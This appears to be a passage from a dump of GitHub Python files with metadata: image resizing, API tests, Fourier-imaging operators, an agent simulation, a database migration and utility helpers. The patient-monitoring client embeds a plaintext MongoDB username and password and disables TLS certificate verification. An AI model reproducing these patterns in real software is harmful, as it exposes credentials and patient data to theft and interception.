"file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 8846, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "botogram.components", "line_number": 15, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 40, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 55, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 55, "usage_type": "attribute"}, {"api_name": "urllib.parse.urljoin", "line_number": 65, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 65, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 72, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 85, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 102, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 102, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 106, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 120, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 135, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 135, "usage_type": "attribute"}, {"api_name": "botogram.api", "line_number": 200, "usage_type": "attribute"}, {"api_name": "botogram.api", "line_number": 204, "usage_type": "attribute"}]} {"seq_id": "32577330286", "text": "import PIL\nfrom PIL import Image\nimport os\nfrom array import *\nfrom random import shuffle\nimport re\n\nbasewidth = 32\n\n#Names = [['./training-images','train'], ['./test-images','test']]\nname = \"C:\\\\Projects\\\\REAS\\\\GLAS\\\\origin_images\"\ndes_name = \"C:\\\\Projects\\\\REAS\\\\GLAS\\\\32x32\"\nif not os.path.exists(des_name):\n os.makedirs(des_name)\nFileList = []\nDesFileList = []\nfor dirname in os.listdir(name): # [1:] Excludes .DS_Store from Mac OS\n path = os.path.join(name, dirname)\n directory = os.path.join(des_name, dirname)\n if not os.path.exists(directory):\n os.makedirs(directory)\n for filename in os.listdir(path):\n if filename.endswith(\".png\") or filename.endswith(\".jpg\"):\n FileList.append(os.path.join(name, dirname, filename))\n DesFileList.append(os.path.join(directory, filename))\n\nfor i in range(len(FileList)):\n print(FileList[i])\n print(DesFileList[i])\n try:\n img = Image.open(FileList[i])\n if img.size[0] != basewidth or img.size[1] != basewidth:\n #wpercent = (basewidth / float(img.size[0]))\n #hsize = int((float(img.size[1]) * float(wpercent)))\n #hsize = int((float(img.size[1]) * float(wpercent)))\n img = img.resize((basewidth, basewidth), PIL.Image.ANTIALIAS)\n img.save(DesFileList[i])\n except IOError:\n print(\"Failed\")\n", "repo_name": "DuongTK/image_classification_CNN", "sub_path": "resize_image(1).py", "file_name": "resize_image(1).py", "file_ext": "py", "file_size_in_byte": 1369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 14, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 21, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 31, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 31, "usage_type": "name"}, {"api_name": "PIL.Image", "line_number": 36, "usage_type": "attribute"}]} {"seq_id": "21460216556", "text": "import pytest\n\nfrom unsonic.views.rest.getalbumlist import GetAlbumList\nfrom unsonic.views.rest.getalbumlist2 import GetAlbumList2\nfrom unsonic.views.rest import Command\nfrom . import buildCmd, checkResp\n\n\n@pytest.fixture(scope=\"function\", params=[GetAlbumList, GetAlbumList2])\ndef album_list(request):\n yield request.param\n\n\ndef validate(cmd, resp, al_class):\n if al_class == GetAlbumList:\n al_name = \"albumList\"\n else:\n al_name = \"albumList2\"\n sub_resp = checkResp(cmd.req, resp)\n alist = sub_resp.find(\"{http://subsonic.org/restapi}\" + al_name)\n count = 0\n titles = []\n for album in alist.iter(\"{http://subsonic.org/restapi}album\"):\n count += 1\n titles.append(album.get(\"title\"))\n assert album.get(\"id\").startswith(\"al-\")\n if al_class == GetAlbumList:\n assert len(album.get(\"title\")) > 0\n assert album.get(\"isDir\") == \"true\"\n else:\n assert len(album.get(\"name\")) > 0\n return count, titles\n\n\ndef testRandom(session, album_list):\n cmd = buildCmd(session, album_list, {\"type\": \"random\"})\n resp = cmd()\n count1, titles1 = validate(cmd, resp, album_list)\n\n\ndef testSized(session, album_list):\n cmd = buildCmd(session, album_list, {\"type\": \"random\", \"size\": \"2\"})\n resp = cmd()\n count, titles = validate(cmd, resp, album_list)\n assert count == 2\n\n\ndef testOffset(session, album_list):\n cmd = buildCmd(session, album_list, {\"type\": \"random\", \"size\": \"3\",\n \"offset\": \"1\"})\n resp = cmd()\n count, titles = validate(cmd, resp, album_list)\n assert count == 4\n\n\ndef testOffset2(session, album_list):\n cmd = buildCmd(session, album_list, {\"type\": \"random\", \"size\": \"3\",\n \"offset\": \"2\"})\n resp = cmd()\n count, titles = validate(cmd, resp, album_list)\n assert count == 5\n\n\ndef testNewest(session, album_list):\n cmd = buildCmd(session, album_list, {\"type\": \"newest\"})\n resp = cmd()\n count1, titles1 = validate(cmd, resp, album_list)\n\n cmd = buildCmd(session, album_list, {\"type\": \"newest\"})\n resp = cmd()\n count2, titles2 = validate(cmd, resp, album_list)\n\n assert titles1 == titles2\n\n\ndef testNoType(session, album_list):\n cmd = buildCmd(session, album_list)\n resp = cmd()\n checkResp(cmd.req, resp, Command.E_MISSING_PARAM)\n\n\ndef testByGenre(session, album_list):\n cmd = buildCmd(session, album_list, {\n \"type\": \"byGenre\", \"genre\": \"techno\"})\n resp = cmd()\n count1, titles1 = validate(cmd, resp, album_list)\n\n\ndef testByGenreNoGenre(session, album_list):\n cmd = buildCmd(session, album_list, {\"type\": \"byGenre\"})\n resp = cmd()\n checkResp(cmd.req, resp, Command.E_MISSING_PARAM)\n", "repo_name": "redshodan/unsonic", "sub_path": "test/tests/rest/testgetalbumlist.py", "file_name": "testgetalbumlist.py", "file_ext": "py", "file_size_in_byte": 2765, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pytest.fixture", "line_number": 9, "usage_type": "call"}, {"api_name": "unsonic.views.rest.getalbumlist.GetAlbumList", "line_number": 9, "usage_type": "name"}, {"api_name": "unsonic.views.rest.getalbumlist2.GetAlbumList2", "line_number": 9, "usage_type": "name"}, {"api_name": "unsonic.views.rest.getalbumlist.GetAlbumList", "line_number": 15, "usage_type": "name"}, {"api_name": "unsonic.views.rest.getalbumlist.GetAlbumList", "line_number": 27, "usage_type": "name"}, {"api_name": "unsonic.views.rest.Command.E_MISSING_PARAM", "line_number": 79, "usage_type": "attribute"}, {"api_name": "unsonic.views.rest.Command", "line_number": 79, "usage_type": "name"}, {"api_name": "unsonic.views.rest.Command.E_MISSING_PARAM", "line_number": 92, "usage_type": "attribute"}, {"api_name": "unsonic.views.rest.Command", "line_number": 92, "usage_type": "name"}]} {"seq_id": "74976025829", "text": "\n\nimport numpy as np\nfrom scipy import sparse, fft\nfrom scipy.signal import fftconvolve\nfrom astropy.io import fits\nfrom lentils.operators import Operator, CompositeOperatorProduct, DiagonalOperator\nfrom lentils.common import VisibilitySpace, FourierSpace, ImageSpace\nfrom lentils.backend import libnufft, c_nufft\n\n\nclass FFTOperator(Operator):\n\n def __init__(self, image_space, **superargs):\n space_fourier = FourierSpace(image_space)\n super().__init__(space_fourier, image_space)\n\n def _matrixfree_forward(self, vec):\n out = self._cast_output(fft.rfft2(vec, s=self.space_right.shape[-2:], norm='backward'))\n return out\n\n def _matrixfree_transpose(self, vec):\n out = self._cast_output(fft.irfft2(vec, s=self.space_left.shape[-2:], norm='forward'))\n return out\n\n\nclass ZeroPaddingOperator(Operator):\n\n def __init__(self, image_space, pad_factor, **superargs):\n \n # compute symmetric padding on both sides\n # rounding up for odd nx, ny\n self.pad_factor = int(pad_factor)\n self.padx = ((self.pad_factor-1)*image_space.nx+1)//2\n self.pady = ((self.pad_factor-1)*image_space.ny+1)//2\n shape = (image_space.nx+2*self.padx, image_space.ny+2*self.pady)\n dx, dy = image_space.dx, image_space.dy\n bounds = image_space.bounds.copy()\n bounds += np.array([-self.padx*dx, self.padx*dx, -self.pady*dy, self.pady*dy])\n padded_space = ImageSpace(shape=shape, bounds=bounds, \n channels=image_space.channels, mask=None)\n super().__init__(padded_space, image_space)\n \n def _matrixfree_forward(self, vec):\n out = self.space_left.new_vector()\n out[...,self.padx:-self.padx,self.pady:-self.pady] = vec[...,:,:]\n return out\n\n def _matrixfree_transpose(self, vec):\n out = self.space_left.new_vector()\n out[...,:,:] = vec[...,self.padx:-self.padx,self.pady:-self.pady]\n return out\n\nclass ApodizationCorrectionOperator(DiagonalOperator):\n\n def __init__(self, image_space, padded_space, kb_beta, kernel_support, **superargs):\n \n # according to Beatty+2005\n self.kernel_support = int(kernel_support)\n self.kb_beta = float(kb_beta)\n cx = (np.arange(image_space.nx)-0.5*image_space.nx)/padded_space.nx\n cy = (np.arange(image_space.ny)-0.5*image_space.ny)/padded_space.ny\n argx = np.sqrt(self.kb_beta**2-(2*np.pi*self.kernel_support*cx)**2)\n argy = np.sqrt(self.kb_beta**2-(2*np.pi*self.kernel_support*cy)**2)\n sinhcx = np.sinh(argx)/argx\n sinhcy = np.sinh(argy)/argy\n apod_data = 1.0/np.outer(sinhcx, sinhcy)\n super().__init__(image_space, apod_data)\n\n\nclass GriddingOperator(Operator):\n\n def __init__(self, space_vis, space_fourier, kb_beta, kernel_support, **superargs):\n \n self.kernel_support = int(kernel_support)\n self.kb_beta = float(kb_beta)\n iumax = np.max(space_vis.channels)*np.max(np.abs(space_vis.uvw[:,0]))/space_fourier.du\n ivmax = np.max(space_vis.channels)*np.max(np.abs(space_vis.uvw[:,1]))/space_fourier.dv\n if iumax+self.kernel_support+1 > 0.5*space_fourier.nu or ivmax+self.kernel_support+1 > 0.5*space_fourier.nv: \n raise ValueError(\"Visibility space contains points higher than the Nyquist frequency of the grid.\")\n\n # finish up and pass along supers\n super().__init__(space_vis, space_fourier)\n\n def _matrixfree_forward(self, vec):\n out = self.space_left.new_vector()\n libnufft.grid_cpu(self.space_left, out, self.space_right, vec, self.kernel_support, self.kb_beta, 0) \n return out\n\n def _matrixfree_transpose(self, vec):\n out = self.space_left.new_vector()\n libnufft.grid_cpu(self.space_right, vec, self.space_left, out, self.kernel_support, self.kb_beta, 1) \n return out\n\n\nclass NUFFTOperator(CompositeOperatorProduct):\n\n def __init__(self, vis_space, image_space, pad_factor=2, kernel_support=4, combine_channels=True, combine_stokes=True, **superargs):\n\n # NUFFT-specific attributes\n self.image_space = image_space\n self.pad_factor = int(pad_factor)\n self.kernel_support = int(kernel_support)\n\n # Kaiser-Bessel optimal beta from Beatty+2005\n wsup = self.kernel_support\n padfac = self.pad_factor\n self.kb_beta = np.pi*np.sqrt((2.0*wsup/padfac)**2*(padfac-0.5)**2 - 0.8)\n \n # zero-padding\n self.zpad = ZeroPaddingOperator(self.image_space, self.pad_factor)\n self.padded_space = self.zpad.space_left\n\n # Apodization correction\n self.apod = ApodizationCorrectionOperator(self.image_space, \n self.padded_space, self.kb_beta, self.kernel_support)\n \n # FFT\n self.fft = FFTOperator(self.padded_space)\n self.fourier_space = self.fft.space_left\n\n # Gridder\n self.gridder = GriddingOperator(vis_space, self.fourier_space, self.kb_beta, self.kernel_support)\n\n # Finish up\n super().__init__([self.gridder, self.fft, self.zpad, self.apod])\n\n\n\nclass DFTOperator(Operator):\n\n def __init__(self, vis_space, image_space, **superargs):\n \n # make the matrix\n num_rows = 2*vis_space.size # complex visibilities, so multiply rows by 2\n nnz_per_row = np.sum(image_space.mask)\n num_vals = num_rows*nnz_per_row\n row_inds = np.zeros(num_rows+1, dtype=np.int32) \n cols = np.zeros(num_vals, dtype=np.int32) \n vals = np.zeros(num_vals, dtype=np.float64) \n libnufft.dft_matrix_csr(vis_space, image_space, row_inds, cols, vals)\n self._mat = sparse.csr_matrix((vals,cols,row_inds), shape=(num_rows,image_space.size))\n\n # Finish up\n super().__init__(vis_space, image_space)\n\n\nclass ConvolutionOperator(Operator):\n\n def __init__(self, image_space, fitsfile=None, kerneldata=None, kernelsize=None, fwhm=0.1, fft=False, **superargs):\n\n # TODO: channel-dependent PSF?\n\n # load the kernel image\n if fitsfile is not None:\n with fits.open(fitsfile) as f:\n data = f['PRIMARY'].data[:,:].T\n elif kerneldata is not None:\n data = kerneldata\n else:\n raise NotImplementedError(\"Need to put in generic Gaussian kernel\")\n\n # crop the kernel if desired\n if kernelsize is not None and kernelsize > 0:\n padi = (data.shape[0]-kernelsize)//2\n padj = (data.shape[1]-kernelsize)//2\n kernel = data[padi:padi+kernelsize,padj:padj+kernelsize]\n else:\n kernel = data\n\n # make the kernel odd-dimensioned so that the center pixel\n # is unambiguous to both the matrix and FFT operations\n padlist = len(kernel.shape)*[[0,0],]\n padlist[-2][1] = int(kernel.shape[-2]%2 == 0)\n padlist[-1][1] = int(kernel.shape[-1]%2 == 0)\n kernel = np.pad(kernel, padlist, 'constant')\n self.kernel = kernel.astype(np.float64, order='C')\n self.kernelsize = self.kernel.shape\n\n # normalize the kernel\n self.kernel /= np.sum(self.kernel)\n\n # make a transpose kernel, or an explicit matrix\n if fft:\n # TODO: store the kernel FFT for faster convolutions?\n self.kernel_transpose = self.kernel[::-1,::-1].copy(order='C')\n else:\n nnz_per_row = np.product(self.kernelsize)\n nrows = np.product(image_space.shape)\n row_inds = np.zeros(nrows+1, dtype=np.int32) \n cols = np.zeros(nrows*nnz_per_row, dtype=np.int32) \n vals = np.zeros(nrows*nnz_per_row, dtype=np.float64) \n libnufft.convolution_matrix_csr(image_space,\n self.kernel.shape[-2], self.kernel.shape[-1], self.kernel, \n row_inds, cols, vals)\n self._mat = sparse.csr_matrix((vals,cols,row_inds), shape=(nrows,nrows))\n\n # finish up and pass along supers\n super().__init__(image_space, image_space)\n\n def _matrixfree_forward(self, vec):\n return fftconvolve(vec[0,0], self.kernel, mode='same') \n\n def _matrixfree_transpose(self, vec):\n return fftconvolve(vec[0,0], self.kernel_transpose, mode='same')\n\n\n", "repo_name": "devonmpowell/Lentils", "sub_path": "lentils/operators/fourier_operators.py", "file_name": "fourier_operators.py", "file_ext": "py", "file_size_in_byte": 8241, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "lentils.operators.Operator", "line_number": 12, "usage_type": "name"}, {"api_name": "lentils.common.FourierSpace", "line_number": 15, "usage_type": "call"}, {"api_name": "scipy.fft.rfft2", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.fft", "line_number": 19, "usage_type": "name"}, {"api_name": "scipy.fft.irfft2", "line_number": 23, "usage_type": "call"}, {"api_name": "scipy.fft", "line_number": 23, "usage_type": "name"}, {"api_name": "lentils.operators.Operator", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 39, "usage_type": "call"}, {"api_name": "lentils.common.ImageSpace", "line_number": 40, "usage_type": "call"}, {"api_name": "lentils.operators.DiagonalOperator", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.sinh", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sinh", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 67, "usage_type": "call"}, {"api_name": "lentils.operators.Operator", "line_number": 71, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 78, "usage_type": "call"}, {"api_name": "lentils.backend.libnufft.grid_cpu", "line_number": 87, "usage_type": "call"}, {"api_name": "lentils.backend.libnufft", "line_number": 87, "usage_type": "name"}, {"api_name": "lentils.backend.libnufft.grid_cpu", "line_number": 92, "usage_type": "call"}, {"api_name": "lentils.backend.libnufft", "line_number": 92, "usage_type": "name"}, {"api_name": "lentils.operators.CompositeOperatorProduct", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 108, "usage_type": "call"}, {"api_name": "lentils.operators.Operator", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 139, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 140, "usage_type": "attribute"}, {"api_name": "lentils.backend.libnufft.dft_matrix_csr", "line_number": 141, "usage_type": "call"}, {"api_name": "lentils.backend.libnufft", "line_number": 141, "usage_type": "name"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 142, "usage_type": "name"}, {"api_name": "lentils.operators.Operator", "line_number": 148, "usage_type": "name"}, {"api_name": "astropy.io.fits.open", "line_number": 156, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 156, "usage_type": "name"}, {"api_name": "numpy.pad", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 181, "usage_type": "call"}, {"api_name": "scipy.fft", "line_number": 184, "usage_type": "name"}, {"api_name": "numpy.product", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.product", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 190, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 191, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 192, "usage_type": "attribute"}, {"api_name": "lentils.backend.libnufft.convolution_matrix_csr", "line_number": 193, "usage_type": "call"}, {"api_name": "lentils.backend.libnufft", "line_number": 193, "usage_type": "name"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 196, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 196, "usage_type": "name"}, {"api_name": "scipy.signal.fftconvolve", "line_number": 202, "usage_type": "call"}, {"api_name": "scipy.signal.fftconvolve", "line_number": 205, "usage_type": "call"}]} {"seq_id": "36706851420", "text": "import requests\nfrom pymodm import connect, MongoModel, fields\nimport base64\nimport patientMonitoringServer\nimport ssl\n\npatientMonitoringServer.initialize_server()\n\nconnect(\"mongodb+srv://dessertgrace:\"\n \"youcan@bme547.allsv.mongodb.\"\n \"net/myFirstDatabase?retryWrites\"\n \"=true&w=majority\", ssl_cert_reqs=ssl.CERT_NONE)\n\nserver_name = \"http://127.0.0.1:5000/\"\n\n\ndef add_new_info_to_server(number, name=\"\", heart_rate=1,\n ECG_image=\"\", medical_image=\"\"):\n \"\"\"Makes request to server to add specified patient information\n\n This function takes patient information as parameter inputs and makes\n a post request to the patient monitoring server to store this patient\n information on the server. It prints the server response to the\n console and returns it to the caller.\n\n :param number: patient medical record number\n :param name: patient name\n :param heart_rate: patient heart rate\n :param ECG_image: patient image trace\n :param medical_image: patient medical image\n :return: server response string\n \"\"\"\n info1 = {}\n if name:\n info1[\"name\"] = name\n if heart_rate:\n info1[\"ECG_hr\"] = heart_rate\n if ECG_image:\n info1[\"ECG_image\"] = ECG_image\n if medical_image:\n info1[\"medical_image\"] = medical_image\n info1[\"number\"] = number\n r = requests.post(server_name+\"new_info\", json=info1)\n print(r.status_code)\n print(r.text)\n patientMonitoringServer.logInfo(info1, event=\"new_info\")\n return r.json()\n", "repo_name": "dessertgrace/Patient-Monitor", "sub_path": "patient_client.py", "file_name": "patient_client.py", "file_ext": "py", "file_size_in_byte": 1534, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "patientMonitoringServer.initialize_server", "line_number": 7, "usage_type": "call"}, {"api_name": "pymodm.connect", "line_number": 9, "usage_type": "call"}, {"api_name": "ssl.CERT_NONE", "line_number": 12, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 43, "usage_type": "call"}, {"api_name": "patientMonitoringServer.logInfo", "line_number": 46, "usage_type": "call"}]} {"seq_id": "37838343517", "text": "\"\"\"\nThe BluePill agent process.\n\"\"\"\n\nimport random\nimport sqlite3\n\nimport logbook\n\nfrom .rpcproxy import RPCProxy\n\nlog = logbook.Logger(__name__)\n\n\ndef get_prev_state(con, agent_id):\n \"\"\"\n Get the last known state of the agent.\n \"\"\"\n\n sql = \"\"\"\n select state\n from event\n where\n agent_id = ?\n order by round_num desc\n limit 1\n \"\"\"\n cur = con.cursor()\n cur.execute(sql, (agent_id,))\n row = cur.fetchone()\n if not row:\n return None\n return row[0]\n\n\ndef do_something(nodename, agentproc_id, num_agents, con, round_info):\n \"\"\"\n Generate the updates for the current round.\n \"\"\"\n\n updates = []\n for agent_idx in range(num_agents):\n agent_id = f\"{nodename}-{agentproc_id}-{agent_idx}\"\n prev_state = get_prev_state(con, agentproc_id)\n if prev_state is None:\n prev_state = random.choice([\"rock\", \"paper\", \"scissors\"])\n\n cur_state = {\"rock\": \"paper\", \"paper\": \"scissors\", \"scissors\": \"rock\"}[\n prev_state\n ]\n\n sql = \"insert into event values (?,?,?)\"\n update = (\n \"sqlite3\",\n \"event_store\",\n (agent_id, round_info[\"cur_round\"]),\n (sql, (agent_id, cur_state, round_info[\"cur_round\"])),\n )\n\n updates.append(update)\n\n return updates\n\n\ndef main_agent(**kwargs):\n \"\"\"\n BluePill agent process\n\n Agent Logic:\n Run num_agents, which cycle betweem states rock, paper, and scissors.\n \"\"\"\n\n node = kwargs[\"ctrl_node\"]\n port = kwargs[\"ctrl_port\"]\n store_dsn = kwargs[\"store_dsn\"]\n agentproc_id = kwargs[\"agentproc_id\"]\n num_agents = kwargs[\"num_agents\"]\n\n with RPCProxy(\"127.0.0.1\", port) as proxy:\n con = sqlite3.connect(store_dsn)\n\n agentproc_seed = proxy.call(\"get_agentproc_seed\", agentproc_id=agentproc_id)\n random.seed(agentproc_seed)\n\n while True:\n round_info = proxy.call(\"can_we_start_yet\", agentproc_id=agentproc_id)\n log.info(f\"round {round_info['cur_round']} ...\")\n if round_info[\"cur_round\"] == -1:\n return\n\n updates = do_something(node, agentproc_id, num_agents, con, round_info)\n proxy.call(\"register_events\", agentproc_id=agentproc_id, events=updates)\n\n\ndef main_store_init(store_dsn):\n \"\"\"\n Initialize the bluepill datastore.\n \"\"\"\n\n con = sqlite3.connect(store_dsn)\n\n sql = \"\"\"\n create table if not exists event (\n agent_id text,\n state text,\n round_num bigint\n )\n \"\"\"\n con.execute(sql)\n\n con.close()\n", "repo_name": "NSSAC/socioneticus-matrix", "sub_path": "matrix/client/bluepill_agent.py", "file_name": "bluepill_agent.py", "file_ext": "py", "file_size_in_byte": 2626, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logbook.Logger", "line_number": 12, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 46, "usage_type": "call"}, {"api_name": "rpcproxy.RPCProxy", "line_number": 79, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 80, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 83, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 100, "usage_type": "call"}]} {"seq_id": "18661788040", "text": "\"\"\"Created StatHistory model\n\nRevision ID: b62395581615\nRevises: 672fc4e15fc5\nCreate Date: 2019-03-14 22:37:57.524571\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = 'b62395581615'\ndown_revision = '672fc4e15fc5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('stat_history',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('stat_id', sa.Integer(), nullable=True),\n sa.Column('placements', postgresql.JSONB(astext_type=sa.Text()), nullable=True),\n sa.Column('kills', sa.Integer(), nullable=True),\n sa.Column('matchesplayed', sa.Integer(), nullable=True),\n sa.Column('playersoutlived', sa.Integer(), nullable=True),\n sa.Column('minutesplayed', sa.Integer(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['stat_id'], ['stat.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('stat_history')\n # ### end Alembic commands ###\n", "repo_name": "jhonnold/fndash-flask", "sub_path": "migrations/versions/b62395581615_created_stathistory_model.py", "file_name": "b62395581615_created_stathistory_model.py", "file_ext": "py", "file_size_in_byte": 1244, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql.JSONB", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.postgresql", "line_number": 24, "usage_type": "name"}, {"api_name": "sqlalchemy.Text", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 31, "usage_type": "call"}, {"api_name": "alembic.op.drop_table", "line_number": 38, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 38, "usage_type": "name"}]} {"seq_id": "2821661354", "text": "import collections\nimport functools\n\nclass memoized(object):\n # Thanks to @delton137 for providing this function!\n # Source: http://www.moreisdifferent.com/2016/02/08/recursion-is-slow/\n\n '''Decorator. Caches a function's return value each time it is called.\n If called later with the same arguments, the cached value is returned\n (not reevaluated).\n Taken from the python decorator library: https://wiki.python.org/moin/PythonDecoratorLibrary#Memoize\n '''\n def __init__(self, func):\n self.func = func\n self.cache = {}\n self.__name__ = func.__name__\n self.func_name = func.func_name #python2 support\n\n def __call__(self, *args):\n if not isinstance(args, collections.Hashable):\n # uncacheable. a list, for instance.\n # better to not cache than blow up.\n return self.func(*args)\n if args in self.cache:\n return self.cache[args]\n else:\n value = self.func(*args)\n self.cache[args] = value\n return value\n\n def __repr__(self):\n '''Return the function's docstring.'''\n return self.func.__doc__\n\n def __get__(self, obj, objtype):\n '''Support instance methods.'''\n return functools.partial(self.__call__, obj)\n\n\ndef flatten_nested_list(lst):\n x = []\n for itm in lst:\n if hasattr(itm, \"__iter__\"):\n x.extend(list(itm))\n else:\n x.append(itm)\n \n return x\n\ndef relative_freq(items, float_prec=None, desc=True,\n is_sorted=True, sort_by='value', as_=dict):\n if type(items) is dict or type(items) == collections.Counter:\n tot = sum(items.values())\n cnt = items\n elif type(items) is list or type(items) is tuple or type(items) is set:\n items = list(items)\n tot = len(items)\n cnt 